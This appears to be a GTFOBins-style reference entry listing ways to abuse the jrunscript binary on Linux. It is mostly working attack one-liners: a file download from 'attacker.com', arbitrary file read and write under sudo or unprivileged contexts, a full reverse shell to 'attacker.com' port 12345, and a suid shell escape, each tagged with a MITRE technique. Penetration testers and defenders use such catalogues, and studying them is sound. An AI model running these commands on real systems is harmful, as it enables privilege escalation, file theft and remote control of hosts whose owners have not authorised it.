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jrunscript

11 techniques LinuxGTFOBins GPL-3.0

download

File DownloadPrivilege Escalation Linux 
jrunscript -e 'cp("http://attacker.com/path/to/input-file","/path/to/output-file")'
Context
sudo
Native
download
MITRE
T1105

file-read

File ReadPrivilege Escalation Linux 
jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file"));
    while ((line = br.readLine()) != null) { print(line); }'
Context
sudo
Native
file-read
MITRE
T1005

file-read

File Read Linux 
jrunscript -e 'br = new BufferedReader(new java.io.FileReader("/path/to/input-file"));
    while ((line = br.readLine()) != null) { print(line); }'
Context
unprivileged
Native
file-read
MITRE
T1005

file-write

File WritePrivilege Escalation Linux 
jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file");
    fw.write("DATA");
    fw.close();'
Context
sudo
Native
file-write
MITRE
T1565

file-write

File Write Linux 
jrunscript -e 'var fw=new java.io.FileWriter("/path/to/output-file");
    fw.write("DATA");
    fw.close();'
Context
unprivileged
Native
file-write
MITRE
T1565

reverse-shell

Reverse/Bind ShellPrivilege Escalation Linux 
jrunscript -e 'var host="attacker.com";
    var port=12345;
    var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start();
    var s=new java.net.Socket(host,port);
    var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
    while(pi.available()>0)so.write(pi.read());
    while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());
    so.flush();po.flush();
    java.lang.Thread.sleep(50);
    try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
Context
sudo
Native
reverse-shell

reverse-shell

Reverse/Bind Shell Linux 
jrunscript -e 'var host="attacker.com";
    var port=12345;
    var p=new java.lang.ProcessBuilder("/bin/sh", "-i").redirectErrorStream(true).start();
    var s=new java.net.Socket(host,port);
    var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
    var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){
    while(pi.available()>0)so.write(pi.read());
    while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());
    so.flush();po.flush();
    java.lang.Thread.sleep(50);
    try {p.exitValue();break;}catch (e){}};p.destroy();s.close();'
Context
unprivileged
Native
reverse-shell

shell

ExecutionPrivilege Escalation Linux

This has been found working in macOS but failing on Linux systems.

jrunscript -e 'exec("/bin/sh -pc $@|sh${IFS}-p _ echo sh -p </dev/tty >/dev/tty 2>/dev/tty")'
Context
suid
Native
shell
MITRE
T1059